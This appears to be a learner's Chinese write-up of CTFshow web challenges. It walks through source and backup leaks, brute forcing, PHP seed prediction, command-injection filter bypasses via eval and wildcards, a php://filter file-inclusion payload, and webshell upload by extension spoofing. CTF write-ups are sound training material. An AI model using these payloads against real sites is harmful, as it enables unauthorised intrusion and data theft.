信息搜集

web1

简单的f12

web2

打开页面提示无法查看源代码 迷惑.jpg

我一下就打开了, 很快啊

看了下hint, get新知识, 在URL头部添加view-source:即可查看源码

(原来是禁用了右键, 习惯用快捷键真是不好意西:-)

web3

bp抓包, flag在返回包里

web4

打开robots.txt, 得到一个flagishere.txt, 打开/flagishere.txt, 得到flag

web5

在URL尾部输入/index.phps, 得到phps文件, 打开得到flag

web6

提示应该是源码泄露, 用dirsearch扫了一下发现www.zip, 下载到本地得到一个fl000g.txt文件, 打开得到个flag{flag_here}, 提交错误

…原来是个假flag, 在URL尾部输入/fl000g.txt得到真flag

web7

根据提示感觉应该是git泄露, URL尾部添加/.git/, 得到flag

web8

git泄露都考了, 应该就是svn了, URL尾部添加/.svn/, 得到flag

web9

临时文件是在vim编辑文本时就会创建的文件, 如果程序正常退出, 临时文件自动删除, 如果意外退出就会保留, 当vim异常退出后, 因为未处理缓存文件, 导致可以通过缓存文件恢复原始文件内容

以 index.php 为例 第一次产生的缓存文件名为.index.php.swp
第二次意外退出后, 文件名为.index.php.swo
第三次产生的缓存文件则为.index.php.swn
注意:index前有.

本题在URL尾部添加/index.php.swp下载文件打开得到flag

web10

打开环境后根据题目信息, 使用EditThisCookie查看cookie值得到flag

web11

根据题目信息对ctfshow.com进行DNS查询, 在结果中找到flag

web12

robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件, 它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛), 此网站中的哪些内容是不应被搜索引擎的漫游器获取的, 哪些是可以被漫游器获取的。robots.txt应放置于网站的根目录下, 同时robots协议并不是一个规范, 而只是约定俗成的, 所以并不能保证网站的隐私

…这个不看提示是真滴没思路

根据提示查看robots协议发现禁止爬取/admin/页面

打开此界面弹出登录窗口, 使用admin/首页最下方的电话号码登录得到flag

web13

默认配置泄露:document泄露:网站目录存在document文件, 如document.pdf, 部署环境后没有及时修改document文件里的默认的账号密码, 导致敏感信息泄露

根据题目提示的技术文档, 打开环境后以为会在博客页面中有所发现, 但打开后未获取到有效信息

在从头到尾的尝试后, 在页面底部发现一个document带有链接

打开后得到一个系统使用手册/document.pdf, 在其中得到后台登陆地址及用户名密码

打开后台登录, get flag

web14

默认配置泄露:editor泄露:常用:直接访问example.com/editor, 插入处可获知路径

根据题目信息在URL尾部添加/editor/访问编辑器

发现一个上传文件选项 打开

打开文件空间

逐个搜索后, 在var/www/html/nothinghere/中发现fl000g.txt文件

最后回到初始界面, 在URL尾部添加/nothinghere/fl000g.txt打开, 得到flag

web15

根据题目信息在页面底部发现一个邮箱, 肯定要利用到登录

点击页面上方的登录是个空链接

使用dirsearch扫描到一个/admin/界面, 访问

不知道密码, 点击忘记密码试试

根据QQ邮箱的QQ号查到所在地址为西安

输入西安

使用1156631961@qq.com/admin7789登录显示用户名错误

改用admin/admin7789试试

成功拿到flag

web16

php探针是用来探测空间、服务器运行状况和PHP信息用的, 探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息

在URL尾部添加/tz.php, 打开此页面

试了一下, dirsearchdirmap扫描目录都没有扫到/tz.php

在PHP相关参数中打开PHPINFO界面, 搜索flag, get

web17

ping了一下ctfer.com, ping不通

原来…

web18

打开环境是一个游戏, f12审查元素

打开/js/Flappy_js.js审计代码

1
2
3
4
5
6
7
8
9
10
if(score>100)
{
var result=window.confirm("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b");
}
else
{
var result=window.confirm("GAMEOVER\n是否从新开始");
if(result){
location.reload();}
}

\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b进行Unicode解码, 得到你赢了, 去幺幺零点皮爱吃皮看看

打开/110.php得到flag

web19

查看源代码, 在下面发现注释的php片段

1
2
3
4
5
6
7
8
9
error_reporting(0);
$flag="fakeflag"
$u = $_POST['username'];
$p = $_POST['pazzword'];
if(isset($u) && isset($p)){
if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
echo $flag;
}
}

输入用户名密码后登录却显示错误

抓包测试发现admin/123456被编码为了username=admin&pazzword=226d550329a609347c3cc2ec97532645

打开hackbar, 使用post传参绕过前端哈希, 即可出现flag

web20

mdb文件是早期asp+access构架的数据库文件

/db目录是常用的数据库作为文件存储的目录

数据库文件常用名为data.mdb/db.mdb

没思路, 通过hint提示查看/db/db.mdb, 下载到本地, 查看db.mdb文件, 搜索flag/ctfhub, get!

爆破

web21

一个登录界面, bp抓包, 随便输入admin/123456登录

消息头有一行这样的东西, base64解码一下发现是admin:123456

然后添加爆破点, 加载附件里的字典

添加头部admin:, 再添加base64编码

开始爆破, 最终可得到flag

web22

爆破域名, 尝试子域名爆破, 但感觉没得到啥有用的信息

看了视频题解之后

。。。

web23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>

题目是一段php代码, 还好奇跟爆破有什么关系

了解了一下md5才知道md5可以通过碰撞爆破

通过本地phpstudy跑php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
for($a=1;$a<10000;$a++){
for($b=1;$b<10000;$b++){
if ($a != $b && md5($a) == md5(md5($b))) {
echo "flag{XXXXX}";
echo "<br>";
echo "a = ".$a;
echo "<br>";
echo "b = ".$b;
}
}
}
?>

跑出结果为4221202, 通过get方式提交即可得到flag

web24

题目还是一段php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:26:39
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>

通过get方式提交一个变量r, 通过特定种子得到一个随机数, 若r严格等于该随机数即可得到flag

本地运行php代码, 得到该种子的随机数, 通过get方式提交即得到flag

web25

本题…好难…

本题利用了PHP伪随机数漏洞

mt_scrand(seed) 这个函数的意思, 是通过分发seed种子, 然后种子有了后, 靠mt_rand()生成随机数

生成伪随机数是线性的, 可以理解为y=ax, x就是种子, 知道种子和一组伪随机数不是就可以逆推y了吗, 当然实际上更复杂

知道种子后, 可以确定你输出伪随机数的序列, 知道你的随机数序列, 可以确定你的种子

原文链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:56:57
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>

由于php_mt_seed工具没用明白, 本题暂置

web26

本题有bug, 略

web27

按照wp思路生成身份证号爆破, 还要对身份证号码进行验证减少爆破量

我比较懒, 就直接生成所有号码了, 一共一万多个

打开环境是一个登录界面

下面有两个链接, 有一个带有姓名和部分身份证号的xlsx文件

隐藏的号码为生日日期

学籍信息查询系统可以通过姓名及身份证号查询

通过程序生成身份证号爆破

在一个Length为379的返回包中找到

{"0":"success","msg":"\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801"}

通过Unicode解码

使用学号及密码登录即可得到flag

web28

思路来自wp…

打开环境, 现实的页面为GET /0/1/2.txt HTTP/1.1

通过爆破路径访问主页

Length为228的返回包中找到flag

命令执行

web29

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
?>

需要通过Get方式传一个参数c, 当c中不包含字符串”flag”时执行c中的代码

因此c无法传参为?c=system("cat flag.php");?c=system("cp flag.php 1.txt");

测试?c=system("ls");可以看到网站目录中有flag.phpindex.php

利用?*的特性绕过

?可缺省占位一个字符, *可缺省占位几个字符

?c=system("cp fla?.php 1.txt");

?c=system("cp ?lag.php 1.txt");

?c=system("cp fl*.php 1.txt");

?c=system("cp *g.php 1.txt");

Linux命令cp可将flag.php拷贝重命名为1.txt

或用mv指令将flag.php重命名为1.txt

flag.php重命名为1.txt

即可通过/1.txt打开查看flag

web30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
?>

原理同上, 但过滤了参数c中的”flag”,”system”,”php”字符,

可用?c=`cp fl??.??? 1.txt`;

PHP中` `相当于system()

但不知道为什么ls指令无效

↑ 因为` `默认无回显

访问即可拿到flag

web31

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
?>

参数c过滤了”flag”, “system”, “php”等命令及关键字符, 符号., , '也被过滤

使用嵌套eval函数绕过

使用?c=eval($_GET[a]);&a=system("ls");发现flag.php

然后使用?c=eval($_GET[a]);&a=system("cat flag.php");发现网页空白, view-source后可以查看flag(我不理解

?c=eval($_GET[a]);&a=system(“tac flag.php”);

不知道为什么可以输出

1
$flag="ctfshow{b2d0464c-8fe9-4b7e-a22f-12768f61c6be}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-04 00:49:26 # @Last Modified by: h1xa # @Date: 2020 -09-04 00:49:19 # @Author: h1xa # -*- 编码:utf-8 -*- /*

倒序使用cat命令不太理解

web32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
?>

参数c过滤了”flag”,”system”,”php”等命令及关键字符, 符号., , ', `, ;, (也被过滤

涉及文件包含, 本题暂略

文件包含

web78

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>

GET方式获取参数”file”,

include语句可以包含文件

使用php协议

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

返回的为base64编码后的内容

1
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s1N2FjM2M0MS1jYzllLTRmMDAtODc5YS0zYTg0MTU0M2YxZGN9Ijs=

解码后即可得到flag

文件上传

web151

打开环境有提示前端验证不可靠, 试着提交几个webshell, 确实php格式不行, 但是jpg竟然也不行???

png格式可以(瞧不起我?.jpg

提交一个png的webshell, 然后bp改包将扩展名改成.php

好耶, 接下来就是愉快的getshell过程

从此爱上绿色(bushi

打开虚拟终端,

一套组合拳直接带走

web152

打开环境提示后端校验,

web151可使用bp改包绕过后端验证

getshell拿flag同理

CTFshow-WEB篇